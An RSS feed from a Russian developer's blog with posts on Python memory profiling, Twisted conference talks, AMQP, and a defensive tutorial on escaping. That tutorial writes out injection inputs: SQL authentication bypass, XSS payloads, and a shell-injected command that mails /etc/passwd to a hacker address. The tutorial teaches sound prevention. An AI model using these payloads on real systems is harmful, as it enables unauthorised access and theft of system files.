<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог Андрея Смирнова &#187; Python</title>
	<atom:link href="http://www.smira.ru/category/development/python-development/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.smira.ru</link>
	<description></description>
	<lastBuildDate>Wed, 24 Aug 2011 05:09:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Пример использования guppy/heapy</title>
		<link>http://www.smira.ru/2011/08/24/guppy-heapy-usage/</link>
		<comments>http://www.smira.ru/2011/08/24/guppy-heapy-usage/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 05:09:27 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[guppy]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[pkgcore]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=634</guid>
		<description><![CDATA[Guppy &#8211; классный профилировщик памяти для Python. К сожалению, им довольно сложно пользоваться, а документация оставляет желать лучшего. Один из разработчиков pkgcore написал отличную статью об использовании Guppy, которая располагалась по адресу: http://www.pkgcore.org/trac/pkgcore/doc/dev-notes/heapy.rst. Статья больше недоступна, я нашел исходник на bitbucket и превратил в PDF/HTML для простоты использования: How to use guppy/heapy for tracking down [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://guppy-pe.sourceforge.net/">Guppy</a> &#8211; классный профилировщик памяти для Python. К сожалению, им довольно сложно пользоваться, а документация оставляет желать лучшего. Один из разработчиков pkgcore написал отличную статью об использовании Guppy, которая располагалась по адресу: http://www.pkgcore.org/trac/pkgcore/doc/dev-notes/heapy.rst. Статья больше недоступна, я нашел исходник на <a href="https://bitbucket.org/osunix/ospkg/src/3aad1843cdd7/dev-notes/heapy.rst">bitbucket</a> и превратил в PDF/HTML для простоты использования:</p>

<ul>
<li><a href="http://www.smira.ru/wp-content/uploads/2011/08/heapy.html">How to use guppy/heapy for tracking down memory usage</a> <a href="http://www.smira.ru/wp-content/uploads/2011/08/heapy.pdf">PDF</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2011/08/24/guppy-heapy-usage/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Не забудь сделать escape!</title>
		<link>http://www.smira.ru/2010/10/31/dont-forget-about-escaping/</link>
		<comments>http://www.smira.ru/2010/10/31/dont-forget-about-escaping/#comments</comments>
		<pubDate>Sun, 31 Oct 2010 19:41:24 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[Преподавание]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[encode]]></category>
		<category><![CDATA[escape]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=546</guid>
		<description><![CDATA[Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей: никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют &#171;расслабиться&#187; и забыть о том, что такое escaping (по крайней мере до [...]]]></description>
			<content:encoded><![CDATA[<p>Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей: никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют &laquo;расслабиться&raquo; и забыть о том, что такое escaping (по крайней мере до какой-то степени). Не смотря на это, все еще необходимо понимать, что такое escaping, зачем он нужен, когда и какой.</p>

<p>Отсутствие правильного escaping (впрочем, как и избыточный и неуместный escaping) приводит к <strong>ошибкам</strong> и <strong>уязвимостям</strong> (проблемам безопасности) в web-приложениях. Обычно уязвимость состоит в том, что приложение получает данные из различных внешних источников (от пользователя, из других приложений), эти данные приложение вставляет строчку, которая впоследствие будет обработана третьей системой (базой данных, браузером, интерпретатором и т.п.) При этом при передаче особым образом подготовленных данных удается совершить действие, которое не должно было произойти.</p>

<h2>SQL</h2>

<p>Типичная уязвимость: <a href="http://en.wikipedia.org/wiki/SQL_Injection">SQL Injection</a>. </p>

<p>Пример кода (авторизация по логину и паролю):</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">runQuery<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT id FROM users WHERE login='<span style="color: #006699; font-weight: bold;">$login</span>' AND password='<span style="color: #006699; font-weight: bold;">$password</span>'&quot;</span><span style="color: #009900;">&#41;</span></pre></div></div>


<p>Если значения переменных <code>$login</code> и <code>$password</code> получены от пользователя (например, через форму авторизации), можно в поле <code>password</code> ввести значение вида: <code>' OR '' = '</code>, тогда после подстановки получится такой запрос:</p>


<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> id <span style="color: #993333; font-weight: bold;">FROM</span> users <span style="color: #993333; font-weight: bold;">WHERE</span> login<span style="color: #66cc66;">=</span><span style="color: #ff0000;">'login'</span> <span style="color: #993333; font-weight: bold;">AND</span> password<span style="color: #66cc66;">=</span><span style="color: #ff0000;">''</span> <span style="color: #993333; font-weight: bold;">OR</span> <span style="color: #ff0000;">''</span> <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">''</span></pre></div></div>


<p>Условие <code>WHERE</code> всегда истинно, для любой строчки БД. В зависимости от вида запроса, способа авторизации такое поведение приведет к возможности авторизации, не зная пароля.</p>

<p>Проблема состоит в том, что при прямой подстановке значения переменной <code>$password</code> мы смогли изменить смысл исходного запроса.</p>

<p><span id="more-546"></span></p>

<p>Что делать (в порядке от плохого к хорошему):</p>

<ul>
<li>использовать функцию, которая осуществляет escaping, причем специфичный для конкретной БД (так как синтаксис SQL-запросов может отличаться от одной БД к другой (в конечном итоге не очень хороший способ, так как однажды забытая функция escape ведет к потенциальной уязвимости); например, для PHP/MySQL: <a href="http://ru.php.net/mysql_real_escape_string">mysql&#95;real&#95;escape&#95;string</a>.</li>
<li>использовать синтаксис SQL с параметрами (placeholderами), в этом случае значение не подставляется в строку SQL-запроса, а передается отдельно как значение соответствующего типа; пример для PHP/PDO: <a href="http://ru2.php.net/manual/en/pdostatement.bindvalue.php">PDOStatement->bindValue</a>.</li>
<li>использовать <a href="http://ru.wikipedia.org/wiki/ORM">ORM</a>, которая спрячет процесс построения запросов, например для Rails: <code>User.find_by_login_and_password(login, password)</code>.</li>
</ul>

<p><em>Примечание</em>: один из моих любимых вопросов на собеседовании &#8211; &laquo;SQL injection и как его избежать&raquo;. В 50% случаев я слышу про то, что надо фильтровать пользовательские данные. Это не может быть универсальным способом! Пользователь может совершенно разумно хотеть написать одинарную кавычку в том текстовом поле, значение которого будет передано вашему приложению. Валидация или фильтрация данных &#8211; дополнительная возможность, которая происходит на уровне модели вашего приложения, но escaping происходит на уровне, уже непосредственно взаимодействующем с БД.</p>

<h2>HTML</h2>

<p>Типичная уязвимость: <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a>, <a href="http://ha.ckers.org/xss.html">типичные exploitы</a>.</p>

<p>В разметке HTML есть некоторое количество символов, которые имеют особый смысл: <code>&amp;&lt;&gt;"'</code>. Проблема возникает, когда в текст (между элементами HTML) попадают данные, которые содержат мета-символы HTML, перечисленные выше. </p>

<p>Пример (PHP):</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;span class=&quot;author&quot;&gt;<span style="color: #000000; font-weight: bold;">&lt;?=</span> <span style="color: #000088;">$user</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nickname</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/span&gt;</pre></div></div>


<p>Если в качестве <code>$user-&gt;nickname</code> пользователь введет:</p>


<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;script&gt;alert(&quot;hi!&quot;)&lt;/script&gt;</pre></div></div>


<p>То все посетители сайта, которые посещают страницу, содержащую вышеприведенный код, получат окошко c &laquo;hi!&raquo;. </p>

<p>Должно быть так (<a href="http://ru.php.net/htmlspecialchars">htmlspecialchars</a> осуществляет замены вида <code>&gt;</code> -> <code>&amp;gt;</code> и т.д.)</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;span class=&quot;author&quot;&gt;<span style="color: #000000; font-weight: bold;">&lt;?=</span> <span style="color: #990000;">htmlspecialchars</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$user</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">nickname</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/span&gt;</pre></div></div>


<p>Необходимо отметить, что решения из разряда &laquo;фильтрации&raquo;, описанные в примечании к SQL-escape, не всегда работают по тем же самым причинам. Типичный поток данных для данной уязвимости &#8211; пользователь (например, ввод в форме) -> БД -> вывод на страницу в HTML. При этом HTML escaping должен происходить при выводе данных, а не при записи в БД, т.к. данные в БД могут использоваться и для вывода в другие форматы (например, PDF).</p>

<p>Второй разновидностью данной проблемы является динамическая генерация HTML в контексте страницы, например, с помощью jQuery:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#nickname'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">update</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'&lt;span&gt;'</span> <span style="color: #339933;">+</span> data<span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'nickname'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&lt;/span&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>


<p>Должно быть так:</p>


<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#nickname'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">update</span><span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'&lt;span&gt;'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">text</span><span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#91;</span><span style="color: #3366CC;">'nickname'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>


<p>Фукнция <code>text</code> в отличие от <code>update</code> изменяет только текстовые узлы DOM-дерева и не интерпретирует (добавляет &laquo;как есть&raquo;) любую HTML-разметку.</p>

<p>Как избежать подобных проблем:</p>

<ul>
<li>Шаблонизатор на серверной стороне должен по умолчанию делать HTML escaping при подстановке данных в шаблон, т.к. чаще всего нужно делать escape, а не наоборот. Не нужен escaping только при вставке готовых кусков HTML-кода (например, результата работы другого шаблона).</li>
<li>При построении DOM-дерева в JavaScript не используйте куски HTML кода, лучше стройте DOM-дерево из отдельных элементов (как показано выше). Можно воспользоваться JavaScript-шаблонизатором с теми же требованиями, что и для серверного решения.</li>
</ul>

<h2>JavaScript</h2>

<p>Типичная уязвимость: <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a>.</p>

<p>Не менее часто в сегодняшних сложных web-приложениях необходимо передать данные с серверной части в JavaScript-код через HTML страницу. Для этого чаще всего генерируется в шаблоне такой JavaScript-код:</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;script type=&quot;text/javascript&quot;&gt; 
  var user = '<span style="color: #000000; font-weight: bold;">&lt;?=</span><span style="color: #000088;">$username</span><span style="color: #000000; font-weight: bold;">?&gt;</span>';
&lt;/script&gt;</pre></div></div>


<p>Теперь представим, что будет, если я в качестве <code>$username</code> напишу <code>'+alert(document.cookies) + '</code>. Нехорошо получается? Ответ простой &#8211; сегодня все языки программирования поддерживают возможность преобразования данных в <a href="http://json.org/">JSON</a>. А это как раз тот вид escape, который нам нужен! Причем у нас появляется передавать в JavaScript сложные данные (массивы, объекты), а также свободно обрабатывать случаи null и т.п.:</p>


<div class="wp_syntax"><div class="code"><pre class="haml" style="font-family:monospace;">:javascript
  var user = #{@user.name.to_json};</pre></div></div>


<p>(Кавычки вокруг строки уже указывать не нужно).</p>

<p>Как избежать: преобразуйте данные в JSON перед вставкой в JavaScript-код.</p>

<h2>URL</h2>

<p><a href="http://ru.wikipedia.org/wiki/URL">URL</a> &#8211; это тоже далеко не такая простая вещь, как кажется на самом деле. В URL используется множество символов, которые имеют особый смысл: <code>?&amp;=/</code>. Чаще всего проблема возникает при построении URL динамически, а при этом в качестве части URL необходимо использовать переданные пользователем данные. Пусть, например, нам надо построить URL страницы поиска для ссылки с тега какого-то объекта:</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #0000ff;">&quot;http://example.com/search/?q=&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$tag</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span></pre></div></div>


<p>Если ограничений особенно жестких на имя тега нет, мы можем получить несколько другой URL, чем мы планировали. Например, добавить еще один параметр через <code>&amp;val=xxx</code> в имени тэга. В результате, пользователь, кликнувший по ссылке на такой тэг в списке тэгов может попасть совсем не на страницу тэга, а на другую страницу сайта (результат будет зависеть во многом от схемы формирования ссылок).</p>

<p>Как избежать: используйте <code>urlencode</code>-подобные функции при формировании компонентов URL, или, еще лучше: используйте &laquo;сборщики ссылок&raquo;, которые отдельно принимают схему протокола, имя хоста, URI, GET-параметры и т.п. Пример &#8211; <a href="http://apidock.com/rails/ActionView/Helpers/UrlHelper/link_to">link_to</a> в Rails.</p>

<h2>Shell</h2>

<p>Типичная уязвимость: получение shell-доступа к удаленному серверу.</p>

<p>При выполнении команд в ответ на запрос с использованием параметров, переданных клиентом (это могут быть как строки, так и, например, имена файлов), можно использовать различные способы запуска команд. Одним из таких способов является команда <code>system</code> или ее различные варианты:</p>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$image</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'image'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/usr/bin/process_image '<span style="color: #006699; font-weight: bold;">$image</span>'&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>


<p>В данный код в качестве значения переменной <code>$image</code> можно передать, например, следующее: </p>

<pre>
'; (cat /etc/passwd | mail cool@hacker.org); echo '
</pre>

<p>В чем здесь проблема?</p>

<ol>
<li>Функция <code>system</code> и ей подобные запускают командный интерпретатор (например,  bash), возможности которого гораздо больше, чем требуется нам.</li>
<li>Мы не выполняем корректный escaping параметров, чтобы <code>$image</code> оказался в точности одним параметром командной строки. </li>
</ol>

<p>Как избежать:</p>

<ol>
<li>Использовать функции, которые запускают внешний процесс, не прибегая к помощи shell: они обычно принимают отдельно полный путь к исполняемому файлу и массив аргументов. Проблема отпадает сама собой.</li>
<li>Использовать функцию <code>escapeshellarg</code> и ей подобные, которая гарантирует, что внутри параметра все специальные символы будут экранированы:</li>
</ol>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$image</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'image'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/usr/bin/process_image &quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">escapeshellarg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$image</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2010/10/31/dont-forget-about-escaping/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>HighLoad-2010: Приемы разработки высоконагруженных приложений на Twisted/Python</title>
		<link>http://www.smira.ru/2010/10/28/highload-2010-twisted-python-development/</link>
		<comments>http://www.smira.ru/2010/10/28/highload-2010-twisted-python-development/#comments</comments>
		<pubDate>Thu, 28 Oct 2010 04:57:14 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Twisted]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[highload]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[twisted]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=593</guid>
		<description><![CDATA[25-26 октября состоялся HighLoad-2010, конференция получилось хорошей хотя бы потому, что было мало докладов ни о чем. Неплохой уровень, особенно было приятно увидеть &#171;профессоров&#187; PostgreSQL. Я выступал с докладом &#171;Приемы разработки высоконагруженных приложений на Twisted/Python&#187;. В докладе получилась (вполне сознательно) сборная солянка из советов и приемов о том, как писать приложения на Twisted (и похожих [...]]]></description>
			<content:encoded><![CDATA[<p>25-26 октября состоялся <a href="http://highload.ru/">HighLoad-2010</a>, конференция получилось хорошей хотя бы потому, что было мало докладов ни о чем. Неплохой уровень, особенно было приятно увидеть &laquo;профессоров&raquo; PostgreSQL.</p>

<p>Я выступал с докладом &laquo;Приемы разработки высоконагруженных приложений на Twisted/Python&raquo;. В докладе получилась (вполне сознательно) сборная солянка из советов и приемов о том, как писать приложения на Twisted (и похожих frameworkах). Из-за большого количества разных тем не получилось углубиться ни в одну, каюсь&#8230;</p>

<p>Тезисы:</p>

<ol>
<li>Запуск и шедулинг многих однопоточных процессов на одном сервере.</li>
<li>Key-value storage и приемы работы с ним.</li>
<li>Обслуживание сотен тысяч соединений на одном сервере.</li>
<li>HTTP-сервисы и балансировка нагрузки, локализация нагрузки.</li>
<li>Сбор статистики, интеграция с системой мониторинга.</li>
<li>Шина обмена сообщениями на примере AMQP.</li>
<li>Поиск и устранение memory leak.</li>
<li>Оптимизация по времени отклика и пропускной способности.</li>
<li>Мифы и правда о Python как языке разработки нагруженных приложений.</li>
</ol>

<p>Презентация:</p>

<div style="width:425px" id="__ss_5589368"><object id="__sse5589368" width="600" height="501"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=smirnov-twisted-python-101027232646-phpapp01&#038;stripped_title=smirnov-twistedpython&#038;userName=Smirnov.Andrey" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed name="__sse5589368" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=smirnov-twisted-python-101027232646-phpapp01&#038;stripped_title=smirnov-twistedpython&#038;userName=Smirnov.Andrey" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="600" height="501"></embed></object></div>

<p><br />
<br /></p>

<p>Утащить:</p>

<ul>
<li>В формате <a href="http://www.smira.ru/wp-content/uploads/2010/10/smirnov-twisted-python.pdf">PDF</a></li>
<li>Модуль <a href="http://github.com/smira/py-numa">py-numа</a>, который упоминался в докладе</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2010/10/28/highload-2010-twisted-python-development/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>HL++ (2009): Twisted Framework</title>
		<link>http://www.smira.ru/2009/10/13/hl-2009-twisted-framework/</link>
		<comments>http://www.smira.ru/2009/10/13/hl-2009-twisted-framework/#comments</comments>
		<pubDate>Tue, 13 Oct 2009 18:42:27 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Qik]]></category>
		<category><![CDATA[Twisted]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[highload]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[twisted]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=517</guid>
		<description><![CDATA[Сегодня выступал на HighLoad++ с докладом Twisted Framework &#8211; фреймворк для написания сетевых приложений в Python. Введение Последнее время в области web происходит смещение внимания с тяжелых application-серверов, которые тратят на обработку запроса сотни миллисекунд, а то и секунды, к более легковесным сервисам, передающим меньшие объемы данных с минимальной задержкой. Переход от генерации десятков и [...]]]></description>
			<content:encoded><![CDATA[<p>Сегодня выступал на <a href="http://highload.ru/">HighLoad++</a> с докладом <a href="http://www.highload.ru/papers2009/12261.html">Twisted Framework &#8211; фреймворк для написания сетевых приложений в Python</a>. </p>

<h2>Введение</h2>

<p>Последнее время в области web происходит смещение внимания с тяжелых application-серверов, которые тратят на обработку запроса сотни миллисекунд, а то и секунды, к более легковесным сервисам, передающим меньшие объемы данных с минимальной задержкой. Переход от генерации десятков и сотен килобайт HTML-кода в ответ на запрос к передаче изменений в данных, запакованных в JSON и измеряемых сотнями байт. В качестве примеров таких сервисов можно привести Gmail, FriendFeed, Twitter Live Search и т.п.</p>

<p>Для обеспечения минимальной задержки для пользователя необходимо либо поддерживать постоянное соединение (например, Adobe Flash, RTMP) или использовать технику HTTP long polling в сочетании с keep alive. Так или иначе на стороне сервера это приводит к появлению большого количества одновременных соединений (тысячи, десятки тысяч), по каждому из которых передается не такой большой объем данных. Эту ситуацию называют обычно проблемой <a href="http://www.kegel.com/c10k.html">C10k</a>.</p>

<p><span id="more-517"></span></p>

<p>Для обработки соединений архитектурный выбор на стороне сервера не такой большой: процесс на соединение, нить на соединение, комбинированный вариант процесс-нити или асинхронный ввод-вывод (возможно, в сочетании с дополнительными процессами или нитями). При наличии более 10 тысяч одновременных соединений с точки зрения расхода ресурсов совершенно невозможно представить создание 10 тысяч процессов; 10 тысяч нитей также вряд ли будет разумным решением. Необходимо дополнительно учесть, что при наличии такого большого числа соединений объем работы по каждому из них относительно невелик, большинство их них простаивают в ожидании поступления новых данных. Поэтому бóльшая часть процессов или нитей будет просто находиться в состоянии ожидания, расходуя впустую  системные ресурсы.
Асинхронный ввод-вывод позволяет осуществлять неблокирующийся сетевой ввод-вывод по тысячам открытых сокетов в рамках одной нити выполнения (одного процесса). Механизмы реализации в разных ОС разные, например: select(), poll(), epoll(), kqueue() и т.п. Примеры приложений, использующих асинхронный ввод-вывод:</p>

<ul>
<li>nginx (используются дополнительные процессы для обслуживания задач, требующих большего объема CPU);</li>
<li>haproxy;</li>
<li>memcached;</li>
<li>и другие.</li>
</ul>

<p>Тем не менее, асинхронный ввод-вывод не является универсальным решением: для сервера БД это вряд ли было бы хорошим способом организации обслуживания соединений, так как для обработки каждого запроса требуется большой объем дискового ввода-вывода и процессорного времени, что не позволяет это сделать в рамках одного процесса. </p>

<p><a href="http://www.twistedmatrix.com/">Twisted Framework</a> — это обширный набор классов и модулей для реализации асинхронных сетевых приложений. Twisted Framework — это:</p>

<ul>
<li>ядро, абстрагирующее все операции асинхронного ввода-вывода и использующее соответствующий механизм конкретной ОС;</li>
<li>концепция Deferred, которая позволяет реализовать в простой форме обслуживание запроса: асинхронные сетевые обращения (например, к БД, memcached), обработку ошибочных ситуаций; Deferred является аналогом обычных конструкций последовательного программирования для асинхронной модели программирования;</li>
<li>обширный набор уже реализованных сетевых протоколов: HTTP, DNS, SMTP, IMAP, memcached, Jabber, ICQ и т.д.; еще большее количество протоколов доступно в виде дополнительных модулей;</li>
<li>дополнительная инфраструктура: unit-testы с поддержкой Deferred, пулы нитей, процессов и т.д.; </li>
<li>качественная концепция разработки — полное покрытие unit-testами, строгий review любого изменения.</li>
</ul>

<p>Основная часть доклада будет посвящена конкретным примерам приложений, реализованными с помощью Twisted — с архитектурой, конкретными параметрами производительности, приемами оптимизации, преимуществами и недостатками Twisted для решения данной задачи:</p>

<ul>
<li><a href="http://www.smira.ru/2008/04/09/rit-2008/">RTMP-сервер pyFMS</a>, сервер вещаний сервиса Smotri.Com (сотни трансляций, десятки тысяч зрителей);</li>
<li>backend-сервер <a href="http://www.mdc.ru/">проекта MDC</a> &#8211; хранение и обработка истории общения пользователей, хранение настроек и т.п.;</li>
<li><a href="http://www.smira.ru/2009/07/12/qik-push-engine-api-private-beta/">Qik Push Engine</a> &#8211; сервер немедленной доставки изменений информации о видео, созданных пользователями сервиса, в том числе push-нотификация о появившихся live-стримах, масштабирование, обработка больших объемов информации.</li>
</ul>

<p>Дополнительная информация:</p>

<ul>
<li><a href="http://twistedmatrix.com/projects/core/documentation/howto/">Документация Twisted</a></li>
<li><a href="http://www.smira.ru/category/development/python-development/">О Python</a>, а также о <a href="http://www.smira.ru/category/development/twisted-development/">Twisted</a></li>
<li><a href="http://habrahabr.ru/blogs/twisted/">Блог на Хабрахабре про Twisted</a></li>
<li><a href="http://burus.org/2008/12/16/twisted-classic-examples/">Александр Бурцев о Twisted</a></li>
<li><a href="http://www.smira.ru/2009/02/10/deferred-async-programming/">Deferred в Twisted</a> и <a href="http://www.smira.ru/2009/02/24/more-about-deferred/">не только</a> .</li>
</ul>

<h2>Презентация</h2>

<div style="width:425px;text-align:left" id="__ss_2211313"><a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/Smirnov.Andrey/twisted-framework-python-2211313" title="Twisted Framework - сетевые приложения в Python">Twisted Framework &#8211; сетевые приложения в Python</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=smirnov-twisted-python-091013134034-phpapp02&#038;stripped_title=twisted-framework-python-2211313" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=smirnov-twisted-python-091013134034-phpapp02&#038;stripped_title=twisted-framework-python-2211313" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object><div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;">View more <a style="text-decoration:underline;" href="http://www.slideshare.net/">documents</a> from <a style="text-decoration:underline;" href="http://www.slideshare.net/Smirnov.Andrey">Smirnov.Andrey</a>.</div></div>

<ul>
<li><a href='http://www.smira.ru/wp-content/uploads/2009/10/smirnov-twisted-python.pdf'>Скачать презентацию (PDF)</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.smira.ru/2009/10/13/hl-2009-twisted-framework/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>AMQP по-русски</title>
		<link>http://www.smira.ru/2009/06/08/amqp-in-russian/</link>
		<comments>http://www.smira.ru/2009/06/08/amqp-in-russian/#comments</comments>
		<pubDate>Mon, 08 Jun 2009 07:33:57 +0000</pubDate>
		<dc:creator>Андрей</dc:creator>
				<category><![CDATA[MDC]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Twisted]]></category>
		<category><![CDATA[Разработка]]></category>
		<category><![CDATA[СпамоБорец]]></category>
		<category><![CDATA[amqp]]></category>
		<category><![CDATA[message]]></category>
		<category><![CDATA[queue]]></category>
		<category><![CDATA[twisted]]></category>
		<category><![CDATA[txamqp]]></category>
		<category><![CDATA[разработка]]></category>

		<guid isPermaLink="false">http://www.smira.ru/?p=392</guid>
		<description><![CDATA[Сегодня довольно мало информации о протоколе AMQP (Advanced Message Queueing Protocol) и его применении, особенно русском языке. А вообще это &#8211; замечательный, уже достаточно широко поддерживаемый открытый протокол для передачи сообщений между компонентами системы с низкой задержкой и на высокой скорости. При этом семантика обмена сообщениями настраивается под нужды конкретного проекта. Такие решения существовали и [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="AMQP logo" src="http://www.smira.ru/wp-content/uploads/2009/06/global.logo_.jpeg" title="AMQP logo" class="alignleft" width="71" height="71" /> Сегодня довольно мало информации о протоколе <a href="http://www.amqp.org/">AMQP</a> (Advanced Message Queueing Protocol) и его применении, особенно русском языке. А вообще это &#8211; замечательный, уже достаточно широко поддерживаемый открытый протокол для передачи сообщений между компонентами системы с низкой задержкой и на высокой скорости. При этом семантика обмена сообщениями настраивается под нужды конкретного проекта. Такие решения существовали и ранее, но это первый стандарт, для которого существует большое количество свободных реализаций.</p>

